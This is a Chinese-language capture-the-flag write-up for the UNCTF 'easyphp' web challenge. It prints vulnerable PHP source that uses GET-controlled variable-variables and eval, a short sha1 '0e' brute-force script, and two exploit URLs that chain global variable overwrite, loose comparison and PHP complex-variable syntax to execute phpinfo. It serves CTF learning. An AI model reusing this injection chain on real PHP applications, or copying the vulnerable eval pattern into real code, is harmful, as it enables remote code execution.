UNCTF-WEB:easyphp(sha1爆破|php複雜變量)

題目給出hint,訪問source得到源碼:

<?php

$adminPassword = 'd8b8caf4df69a81f2815pbcb74cd73ab';
if (!function_exists('fuxkSQL')) {
    function fuxkSQL($iText)
    {
        $oText = $iText;
        $oText = str_replace('\\\\', '\\', $oText);
        $oText = str_replace('\"', '"', $oText);
        $oText = str_replace("\'", "'", $oText);
        $oText = str_replace("'", "''", $oText);
        return $oText;
    }
}
if (!function_exists('getVars')) {
    function getVars()
    {
        $totals = array_merge($_GET, $_POST);
        if (count($_GET)) {
            foreach ($_GET as $key => $value) {
                global ${$key};
                if (is_array($value)) {
                    $temp_array = array();
                    foreach ($value as $key2 => $value2) {
                        if (function_exists('mysql_real_escape_string')) {
                            $temp_array[$key2] = fuxkSQL(trim($value2));
                        } else {
                            $temp_array[$key2] = str_replace('"', '\"', str_replace("'", "\'", (trim($value2))));
                        }
                    }
                    ${$key} = $_GET[$key] = $temp_array;
                } else {
                    if (function_exists('mysql_real_escape_string')) {
                        ${$key} = fuxkSQL(trim($value));
                    } else {
                        ${$key} = $_GET[$key] = str_replace('"', '\"', str_replace("'", "\'", (trim($value))));
                    }
                }
            }
        }
    }
}

getVars();
if (isset($source)) {
    highlight_file(__FILE__);
}

//只有admin才能設置環境變量
if (md5($password) === $adminPassword && sha1($verif) == $verif) {
    echo 'you can set config variables!!' . '</br>';
    foreach (array_keys($GLOBALS) as $key) {
        if (preg_match('/var\d{1,2}/', $key) && strlen($GLOBALS[$key]) < 12) {
            @eval("\$$key" . '="' . $GLOBALS[$key] . '";');
        }
    }
} else {
    foreach (array_keys($GLOBALS) as $key) {
        if (preg_match('/var\d{1,2}/', $key)) {
            echo ($GLOBALS[$key]) . '</br>';
        }
    }
}

 

這裏要進入eval要使以下語句成立

  • md5($password) === $adminPassword
  • sha1($verif) == $verif

 

審計代碼得到GET傳入的值都會添加到全局變量中

  • global ${$key};

 

因爲 $adminPassword = 'd8b8caf4df69a81f2815pbcb74cd73ab',這個值不符合md5得規範(md5沒有“p”)

所以覆蓋adminPassword 變量使md5比較成立

 

接着要使sha1(val)=val,那麼我們編寫腳本爆破找出任意0exxx的變量的sha1還是0exxx

<?php
for ($i = 0; $i <= 9999999999; $i++) {
    $res = '0e' . $i;
    //0e1290633704
    if ($res == hash('sha1', $res)) {
        print_r($res);
    }
}

 

最後使用eval函數進行語句執行,因爲過濾了單引號和限時了字符長度,使用php複雜變量進行拼接語句

exp:

http://08b4d626-d3fd-4b9c-880e-e969ac3318dc.node1.hackingfor.fun/?source&password=1&adminPassword=c4ca4238a0b923820dcc509a6f75849b&verif=0e1290633704&var3=phpinfo&var1={$var3}&var2={$var1()}

 

官方的exp:

?source=1&adminPassword=c4ca4238a0b923820dcc509a6f75849b&password=1&verif=0e1290633704&var1={$_GET[1]}&var3=${$var1()}&1=phpinfo

 

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章